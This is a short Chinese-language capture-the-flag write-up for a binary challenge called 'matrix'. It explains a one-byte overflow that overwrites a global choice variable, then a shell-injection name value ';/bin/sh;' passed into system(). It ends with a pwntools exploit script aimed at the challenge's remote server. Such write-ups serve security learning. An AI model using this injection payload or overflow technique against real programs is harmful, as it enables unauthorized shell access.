这手法有点类似盲注了
进入程序首先输入choice 然后输入name
只有1,2,3才能退出while 正常的话只能执行 red,blue和exit函数
red里面没什么东西
blue内容如上 是一个矩阵乘法 然后判断相等
如果相等 可以调用zion函数
printf_command内容是 “ printf '%s\n' ” 就是把%s替换为name 然后system调用
这里如果name里面含有 " /sh " 的字眼就好了
不过blue前面还有一个name的判断
我当时的想法是strcmp函数截断判断,然后构造单位矩阵和原矩阵相乘 最终执行/sh
不过strcmp是 截断(我当时以为是 截断) 截断的话就没办法执行后面的/sh
无可奈何地瞪眼,发现用到的变量都是全局变量,去data段看了看,发现了突破口
choice和name的位置关系十分的友好
其次get_input_n函数是可以溢出一位的
把choice覆盖为0就可以调用zion函数了
这里的name构造就有点像盲注了
首先把前面的单引号闭合,构造完整的printf语句
然后跟上/bin/sh 最后闭合后边的单引号
完整的name = “ ';/bin/sh;' ”
尽管运行后边的'\n'会报错 但是这之前我们已经getshell了
本地打通 远程没打通
from pwn import * # io=process('./matrix') io=remote('hack.bckdr.in',12002) print io.sendlineafter('Choice: ','2') payload="';/bin/sh;'" payload=payload+'A'*(64-len(payload)) payload+=p32(0) io.sendlineafter('name: ',payload) io.interactive() # name = ';/bin/sh;' # size = 7 # printf '%s\n'